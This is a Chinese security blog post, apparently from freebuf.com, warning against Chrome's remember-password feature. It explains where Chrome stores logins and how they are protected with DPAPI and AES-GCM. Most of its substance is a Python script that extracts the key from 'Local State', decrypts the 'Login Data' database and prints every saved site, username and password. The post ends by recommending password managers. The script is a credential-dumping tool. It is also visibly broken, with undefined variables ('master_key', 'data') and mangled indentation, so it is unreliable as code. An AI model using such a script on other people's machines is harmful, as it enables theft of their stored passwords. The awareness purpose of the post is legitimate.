别再使用记住口令功能了! – 作者:andiSEC

我们先来思考几个问题

  1. chrome记住口令是否安全?
    答:不安全,但是我的电脑别人又不能访问,所以一般情况来说还是挺安全的。
  2. chrome记住口令的文件存放在哪里?
    答:%LOCALAPPDATA%\Google\Chrome\User Data\(windows)(linux略)
  3. chrome记住口令是否可读?
    答:可读,但关键数据加密,如下图:1614088384_603508c01b15b4384b773.png!small?1614088384178

结合这一点,以及电脑中病毒,或者像qq访问浏览器缓存记录事件就可准确回答第一个问题,即使没有人登录你的电脑,也有可能导致记住口令被窃取。

  1. chrome记住口令是否可以被破解?
    答:可以

chrome记住口令源码分析

  • 保存口令逻辑

先来看看同源的chromium的保存口令逻辑(chromium是chrome的另一个开源版本,和其它操作系统的预发布版本一样,很多新功能都会事先在此版本上进行试用):

1614088438_603508f60857bddb323d0.png!small?1614088438143

  • 加解密参数设置

1614088486_6035092684b13ed102b92.png!small?1614088486670

chrome的加密过程分析省略。

  • DPAPI解密

1614088499_603509339d3a46f66ea20.png!small?1614088499719

  • 获取加密key

1614088521_60350949060b54c9574d9.png!small?1614088521225

  • 解密函数

1614088538_6035095a4237eac8967d7.png!small?1614088538426

1614088543_6035095f19d42896d9481.png!small?1614088543202

解密的时候需要对一些参数做验证,如果参数正常,则返回正确口令。从源码分析结果来看,chrome记住口令的加密方式使用了标准的对称加密算法——AES-GCM。

1614088558_6035096e0847eca1cd7bc.png!small?1614088558145

  • 解密脚本

知道了加密算法,以及各参数的计算方法,那么我们就可以通过python开发一个解密脚本。

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES


def get_key():
    local_state = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State'
    with open(local_state, "r", encoding='utf-8') as f:
    # with open('Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = master_key[5:]
    key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    return key


def decrypt_password(buff, key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        print(decrypted_pass)
        decrypted_pass = decrypted_pass[:-16].decode() 
        return decrypted_pass
    except Exception as e:
        print(str(e))
        return "decrypt failed"


def get_decrypt_password(login_db):
    conn = sqlite3.connect(login_db)
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for action_url, username_value, password_value in cursor:
            if password_value[0:3] == b'v10' or password_value[0:3] == b'v11':  # 前3位是以v10或v11开始的就是80版本以后的,需要用这种方法进行解密
                for r in cursor.fetchall():
                    url = r[0]
                    username = r[1]
                    encrypted_password = r[2]
                    decrypted_password = decrypt_password(encrypted_password, key)
                    print("URL: " + url)

print("User Name: " + username)

print("Password: " + decrypted_password)

print("*" * 50 + "\n")
            else:    #否则就是80之前的版本,就可以直接进行解密
               for r in cursor.fetchall():
                    url = r[0]
                    username = r[1]
                    encrypted_password = r[2]
                    decrypted_password = win32crypt.CryptUnprotectData(data[1], None, None, None, 0)
                    if decrypted_password:
                        print("URL: " + url)

print("User Name: " + username)

print("Password: " + decrypted_password)

print("-" * 50 + "\n")

    except Exception as e:
        pass

    cursor.close()
    conn.close()


if __name__ == '__main__':
    key = get_key()
    login_db = 'Login Data'
    get_decrypt_password(login_db)

解密效果

看到如下结果即为正确有效的口令:

1614088630_603509b6b27d368eba2eb.png!small?1614088630789

看到如下图的结果即为不正确的缓存数据:

1614088636_603509bc3b0a44a3e787d.png!small?1614088636316

建议

既然chrome记住口令存在安全风险,显然不推荐使用了,那么如何记住那么多的口令?小伙伴们不要着急,目前市场上有诸多口令管理器,如免费开源的KeePass、跨浏览器平台的LastPass等等,您可以选择一款适合您的管理器来记住您的口令。

来源:freebuf.com 2021-02-23 22:00:32 by: andiSEC

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论